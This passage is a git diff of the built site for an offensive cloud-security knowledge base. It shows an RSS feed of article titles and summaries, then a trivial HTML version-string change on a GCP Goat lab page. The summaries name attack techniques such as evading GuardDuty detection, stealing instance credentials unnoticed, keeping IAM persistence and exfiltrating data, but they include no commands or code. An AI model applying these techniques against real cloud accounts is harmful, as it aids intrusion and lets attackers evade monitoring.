isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/role-chain-juggling.png" type="image/png" length="0" /> </item> <item> <title>[Deprecated] Whoami - Get Principal Name From Keys</title> <description>During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.</description><link>https://hackingthe.cloud/aws/deprecated/whoami/</link> <pubDate>Fri, 02 Feb 2024 00:17:34 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/deprecated/whoami/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/deprecated/whoami.png" type="image/png" length="0" /> </item> <item> <title>EC2 Privilege Escalation Through User Data</title> <description>How to escalate privileges on an EC2 instance by abusing user data.</description><link>https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/</link> <pubDate>Tue, 23 Jan 2024 00:25:07 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/local_ec2_priv_esc_through_user_data/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/local_ec2_priv_esc_through_user_data.png" type="image/png" length="0" /> </item> <item> <title>AWS IAM Persistence Methods</title> <description>A catalog of methods to maintain access to the AWS control plane.</description><link>https://hackingthe.cloud/aws/post_exploitation/iam_persistence/</link> <pubDate>Sun, 21 Jan 2024 17:34:08 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/iam_persistence/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/iam_persistence.png" type="image/png" length="0" /> </item> <item> <title>Run Shell Commands on EC2 with Send Command or Session Manager</title> <description>Leverage privileged access in an AWS account to run arbitrary commands on an EC2 instance.</description><link>https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/</link> <pubDate>Sun, 21 Jan 2024 17:27:28 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/run_shell_commands_on_ec2.png" type="image/png" length="0" /> </item> <item> <title>Modify GuardDuty Configuration</title> <description>Modify existing GuardDuty configurations in the target account to hinder alerting and remediation capabilities.</description><link>https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/</link> <pubDate>Sun, 21 Jan 2024 17:20:20 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/avoiding-detection/modify-guardduty-config/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/modify-guardduty-config.png" type="image/png" length="0" /> </item> <item> <title>AWS API Call Hijacking via ACM-PCA</title> <description>By modifying the route53 entries and utilizing the acm-pca private CA one can hijack the calls to AWS API inside the AWS VPC</description><link>https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/</link> <pubDate>Sat, 13 Jan 2024 20:48:37 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/route53_modification_privilege_escalation/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/route53_modification_privilege_escalation.png" type="image/png" length="0" /> </item> <item> <title>Get Account ID from AWS Access Keys</title> <description>Techniques to enumerate the account ID associated with an AWS access key.</description><link>https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/</link> <pubDate>Sat, 13 Jan 2024 01:04:53 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/get-account-id-from-keys/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/get-account-id-from-keys.png" type="image/png" length="0" /> </item> <item> <title>Misconfigured Resource-Based Policies</title> <description>Common misconfigurations of resource-based policies and how they can be abused.</description><link>https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/</link> <pubDate>Thu, 11 Jan 2024 08:57:50 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/index.png" type="image/png" length="0" /> </item> <item> <title>Bypass Cognito Account Enumeration Controls</title> <description>Leverage a flaw in Cognito&#39;s API to enumerate accounts in User Pools.</description><link>https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/</link> <pubDate>Mon, 08 Jan 2024 15:03:16 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/bypass_cognito_user_enumeration_controls/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/bypass_cognito_user_enumeration_controls.png" type="image/png" length="0" /> </item> <item> <title>Abusing Unintended Self-Signup in AWS Cognito</title> <description>How to take advantage of misconfigured Amazon Cognito User Pools.</description><link>https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/</link> <pubDate>Sat, 06 Jan 2024 22:14:28 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/cognito_user_self_signup/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_user_self_signup.png" type="image/png" length="0" /> </item> <item> <title>Abusing Overpermissioned AWS Cognito Identity Pools</title> <description>How to take advantage of misconfigured Amazon Cognito Identity Pools.</description><link>https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/</link> <pubDate>Sat, 06 Jan 2024 20:43:40 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/cognito_identity_pool_excessive_privileges.png" type="image/png" length="0" /> </item> <item> <title>IAM unique identifiers</title> <description>Chart of the IAM unique ID prefixes.</description><link>https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/</link> <pubDate>Thu, 04 Jan 2024 04:45:39 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/iam-key-identifiers/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/iam-key-identifiers.png" type="image/png" length="0" /> </item> <item> <title>Data Exfiltration through S3 Server Access Logs</title> <description>Exfiltrate data via S3:GetObject and S3 server access logs.</description><link>https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/</link> <pubDate>Fri, 08 Dec 2023 02:37:35 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/s3_server_access_logs/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_server_access_logs.png" type="image/png" length="0" /> </item> <item> <title>Whoami - Get Principal Name From Keys</title> <description>During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys.</description><link>https://hackingthe.cloud/aws/enumeration/whoami/</link> <pubDate>Sun, 05 Nov 2023 18:14:01 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/whoami/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/whoami.png" type="image/png" length="215802" /> </item> <item> <title>Bypass Credential Exfiltration Detection</title> <description>When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints.</description><link>https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/</link> <pubDate>Wed, 18 Oct 2023 00:06:37 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/steal-keys-undetected.png" type="image/png" length="0" /> </item> <item> <title>Survive Access Key Deletion with sts:GetFederationToken</title> <description>Use sts:GetFederationToken to maintain access, even if the original IAM credentials are revoked.</description><link>https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/</link> <pubDate>Mon, 25 Sep 2023 13:24:44 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken.png" type="image/png" length="0" /> </item> <item> <title>Download Tools and Exfiltrate Data with the AWS CLI</title> <description>Using the AWS CLI as a LOLScript to download and exfiltrate data.</description><link>https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/</link> <pubDate>Sat, 15 Jul 2023 15:12:33 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli.png" type="image/png" length="215852" /> </item> <item> <title>Unauthenticated Enumeration of Azure Active Directory Email Addresses</title> <description>Discover how to exploit information disclosure configurations in Azure Active Directory to enumerate valid email addresses.</description><link>https://hackingthe.cloud/azure/enum_email_addresses/</link> <pubDate>Wed, 12 Apr 2023 00:53:02 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/azure/enum_email_addresses/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/azure/enum_email_addresses.png" type="image/png" length="226061" /> </item> <item> <title>Unauthenticated Enumeration of Google Workspace Email Addresses</title> <description>Discover how to exploit information disclosure configurations in Google Workspace to enumerate valid email addresses.</description><link>https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/</link> <pubDate>Wed, 12 Apr 2023 00:53:02 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/enumeration/enum_email_addresses/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/enumeration/enum_email_addresses.png" type="image/png" length="0" /> </item> <item> <title>S3 Streaming Copy</title> <description>Utilizng standard out to standard in with aws-cli utilizing multiple profiles to avoid logging and detection in a victim environment</description><link>https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/</link> <pubDate>Fri, 17 Feb 2023 04:07:33 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/exploitation/s3_streaming_copy/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/exploitation/s3_streaming_copy.png" type="image/png" length="0" /> </item> <item> <title>S3 File ACL Persistence</title> <description>Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects.</description><link>https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/</link> <pubDate>Thu, 26 Jan 2023 01:07:28 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/post_exploitation/s3_acl_persistence.png" type="image/png" length="0" /> </item> <item> <title>GCP Goat</title> <description>GCP Goat is the Vulnerable application for learning the GCP Security</description><link>https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/</link> <pubDate>Fri, 13 Jan 2023 23:48:44 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/gcp-goat.png" type="image/png" length="0" /> </item> <item> <title>Privilege Escalation in Google Cloud Platform</title> <description>Privilege escalation techniques for Google Cloud Platform (GCP)</description><link>https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/</link> <pubDate>Fri, 13 Jan 2023 23:48:44 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/exploitation/gcp_iam_privilege_escalation/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/exploitation/gcp_iam_privilege_escalation.png" type="image/png" length="0" /> </item> <item> <title>Hunting GCP Buckets</title> <description>How to find valid and invalid GCP Buckets using tools</description><link>https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/</link> <pubDate>Fri, 13 Jan 2023 23:48:44 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/general-knowledge/gcp-buckets/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/gcp-buckets.png" type="image/png" length="0" /> </item> <item> <title>Bypass GuardDuty Tor Client Findings</title> <description>Connect to the Tor network from an EC2 instance without alerting GuardDuty.</description><link>https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/</link> <pubDate>Mon, 09 Jan 2023 03:01:49 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/avoiding-detection/guardduty-tor-client/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/guardduty-tor-client.png" type="image/png" length="207552" /> </item> <item> <title>Brute Force IAM Permissions</title> <description>Brute force the IAM permissions of a user or role to see what you have access to.</description><link>https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/</link> <pubDate>Wed, 28 Dec 2022 18:47:24 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/brute_force_iam_permissions/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/brute_force_iam_permissions.png" type="image/png" length="0" /> </item> <item> <title>Enumerate AWS Account ID from an EC2 Instance</title> <description>With access to an ec2 instance, you will be able to identify the AWS account it runs in.</description><link>https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/</link> <pubDate>Fri, 02 Dec 2022 02:06:36 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/enumeration/account_id_from_ec2/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/enumeration/account_id_from_ec2.png" type="image/png" length="0" /> </item> <item> <title>Introduction to the Instance Metadata Service</title> <description>An introduction to the Instance Metadata Service and how to access it.</description><link>https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/</link> <pubDate>Fri, 02 Dec 2022 02:06:36 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/intro_metadata_service.png" type="image/png" length="0" /> </item> <item> <title>Introduction to User Data</title> <description>An introduction to EC2 User Data and how to access it.</description><link>https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/</link> <pubDate>Fri, 02 Dec 2022 02:06:36 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/aws/general-knowledge/introduction_user_data/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/aws/general-knowledge/introduction_user_data.png" type="image/png" length="0" /> </item> <item> <title>Thunder CTF</title> <description>GCP themed CTF</description><link>https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/</link> <pubDate>Fri, 02 Dec 2022 02:06:36 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/capture_the_flag/thunder_ctf/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/thunder_ctf.png" type="image/png" length="0" /> </item> <item> <title>Enumerate Service Account Permissions</title> <description>Brute force the permissions of a service account to see what you have access to.</description><link>https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/</link> <pubDate>Fri, 02 Dec 2022 02:06:36 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/enumeration/enumerate_service_account_permissions/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/enumeration/enumerate_service_account_permissions.png" type="image/png" length="0" /> </item> <item> <title>Default Account Information</title> <description>Default information on how accounts and service accounts exist in GCP</description><link>https://hackingthe.cloud/gcp/general-knowledge/default-account-names/</link> <pubDate>Fri, 02 Dec 2022 02:06:36 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/general-knowledge/default-account-names/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/default-account-names.png" type="image/png" length="0" /> </item> <item> <title>Metadata in Google Cloud Instances</title> <description>Information about the data an attacker can access via GCP&#39;s API endpoints</description><link>https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/</link> <pubDate>Fri, 02 Dec 2022 02:06:36 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/general-knowledge/metadata_in_google_cloud_instances/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/metadata_in_google_cloud_instances.png" type="image/png" length="0" /> </item> <item> <title>Security and Constraints</title> <description>Security considerations and constraints that are unique to GCP</description><link>https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/</link> <pubDate>Fri, 02 Dec 2022 02:06:36 +0000</pubDate><source url="https://hackingthe.cloud/feed_rss_updated.xml">Hacking The Cloud</source><guid isPermaLink="true">https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/</guid> <enclosure url="https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/security-and-constraints.png" type="image/png" length="207887" /> </item> </channel></rss>
\ No newline at end of file
diff --git a/gcp/capture_the_flag/gcp-goat/index.html b/gcp/capture_the_flag/gcp-goat/index.html
index 88e1dc026..677e51780 100644
--- a/gcp/capture_the_flag/gcp-goat/index.html
+++ b/gcp/capture_the_flag/gcp-goat/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="GCP Goat is the Vulnerable application for learning the GCP Security"><link href=https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/ rel=canonical><link href=../../exploitation/gcp_iam_privilege_escalation/ rel=prev><link href=../thunder_ctf/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>GCP Goat - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="GCP Goat - Hacking The Cloud"><meta property=og:description content="GCP Goat is the Vulnerable application for learning the GCP Security"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/gcp-goat.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="GCP Goat - Hacking The Cloud"><meta property=twitter:description content="GCP Goat is the Vulnerable application for learning the GCP Security"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/gcp-goat.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="GCP Goat is the Vulnerable application for learning the GCP Security"><link href=https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/ rel=canonical><link href=../../exploitation/gcp_iam_privilege_escalation/ rel=prev><link href=../thunder_ctf/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>GCP Goat - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="GCP Goat - Hacking The Cloud"><meta property=og:description content="GCP Goat is the Vulnerable application for learning the GCP Security"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/gcp-goat.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/gcp/capture_the_flag/gcp-goat/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="GCP Goat - Hacking The Cloud"><meta property=twitter:description content="GCP Goat is the Vulnerable application for learning the GCP Security"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/gcp/capture_the_flag/gcp-goat.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,6 +7,6 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#gcp-goat class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> GCP Goat </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 